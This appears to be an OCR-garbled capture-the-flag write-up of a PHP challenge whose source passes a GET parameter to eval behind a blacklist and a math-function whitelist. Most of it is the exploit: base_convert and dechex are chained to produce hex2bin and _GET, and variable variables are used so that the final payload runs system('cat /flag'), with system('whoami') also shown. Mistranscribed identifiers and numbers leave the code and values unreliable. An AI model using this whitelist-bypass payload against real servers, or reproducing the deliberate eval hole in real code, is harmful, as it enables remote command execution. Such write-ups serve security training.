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<?php
error_reporting(9);
/ /TR IR B, AEERR S ZEEMIEFflag
if(lisset($_GET['c'])){
show_source(__FILE_);
}else{
//BlF c=20-1
$content = $ GET['c'];
if (strlen($content) >= 80) {
die("RKKTALHE");
¥
$blacklist = [" ', "\t', "\r', '"\n',"\"', '"'
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("EANEMANT HREENFER");
)i
¥
[/ EREEFREhttp: //www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', '
', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', ‘'expml', 'floor', 'fmod', 'getrandmax', 'h
‘hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg value', 'logl@', 'loglp', 'log', 'max', 'min', 'mt_g
', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', ‘'sqrt', 'sn
'tan', 'tanh'];
preg _match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/"', $content, $used funcs);
foreach ($used_funcs[@] as $func) {
if (!in_array($func, $whitelist)) {
die("BEAEMAFTAREMEL");
}
}
[/HEREHER

eval('echo '.$content.';"');
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system("whoami")
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c=$ GET['a']($_GET['b'])&a=system&b=cat flag
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base_convert(37907361743,10,36) = hex2bin
dechex(1598506324) = 5474554

hex2bin("5f474554") = GET
base_convert(37907361743,10,36) (dechex(1598506324)) = GET
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<? php

$name = "hello";
$$name = "World";
echo $name

echo "<br />"

echo $hello; //$$name
echo "<br />";

echo $$name;

?>
45 R
hello
World
World

&% payload
?c=$pi=base_convert(37907361743,10,36) (dechex(1598506324));$$pi{abs}($$pi{exp})&abs=system&exp=cat /flag
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